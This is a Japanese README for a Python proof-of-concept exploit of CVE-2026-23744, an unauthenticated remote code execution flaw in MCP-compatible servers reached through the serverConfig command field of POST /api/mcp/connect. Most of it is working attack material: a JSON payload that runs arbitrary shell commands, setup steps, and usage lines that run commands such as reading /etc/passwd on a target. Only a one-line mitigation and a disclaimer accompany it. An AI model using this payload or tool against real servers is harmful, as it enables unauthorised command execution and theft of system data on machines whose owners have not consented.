
Python製のCVE-2026-23744用PoC。MCPサーバーにおける/api/mcp/connectのserverConfigコマンドフィールドを介した未認証RCE(デフォルトポート6274)
d3vn0miによる概念実証エクスプロイト
CVE-2026-23744 は、ポート 6274 で公開されているMCP互換サーバーにおける未認証のリモートコード実行(RCE)の脆弱性です。/api/mcp/connect エンドポイントは serverConfig オブジェクトを受け入れ、呼び出し元が任意のOSコマンドと引数を指定できるようにしますが、認証や認可のチェックは一切行われません。
サービスにネットワークアクセスできる攻撃者は、MCPサーバーを実行しているユーザーとして任意のコマンドを実行できます。
| 詳細 | 値 |
|---|---|
| CVE ID | CVE-2026-23744 |
| タイプ | 未認証のリモートコード実行 |
| エンドポイント | POST /api/mcp/connect |
| ポート | 6274(デフォルト) |
| 深刻度 | 重大 |
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_COMMAND>"],
"env": {}
},
"serverId": "anything"
}
サーバーは、指定された command を指定された args でサニタイズやアクセス制御なしに起動します。
git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt
# 基本的な使用方法
python3 exploit.py -t <TARGET_IP> -c '<COMMAND>'
# カスタムポート
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'
# 到達可能性チェックをスキップ
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check
# カスタムサーバーID
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server
| フラグ | 説明 |
|---|---|
-t, --target | ターゲットIPまたはホスト名 (必須) |
-c, --command | 実行するOSコマンド (必須) |
-p, --port | ターゲットポート(デフォルト: 6274) |
-s, --server-id | ペイロード内の serverId 値 |
--timeout | プローブのタイムアウト(秒)(デフォルト: 30) |
--no-check | 初期到達可能性チェックをスキップ |
/api/mcp/connect エンドポイントへのアクセスを制限してください。このツールは認可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対する責任を負いません。テストを行う前に必ず適切な許可を取得してください。
このプロジェクトは MITライセンス の下でライセンスされています。
d3vn0mi — github.com/d3vn0mi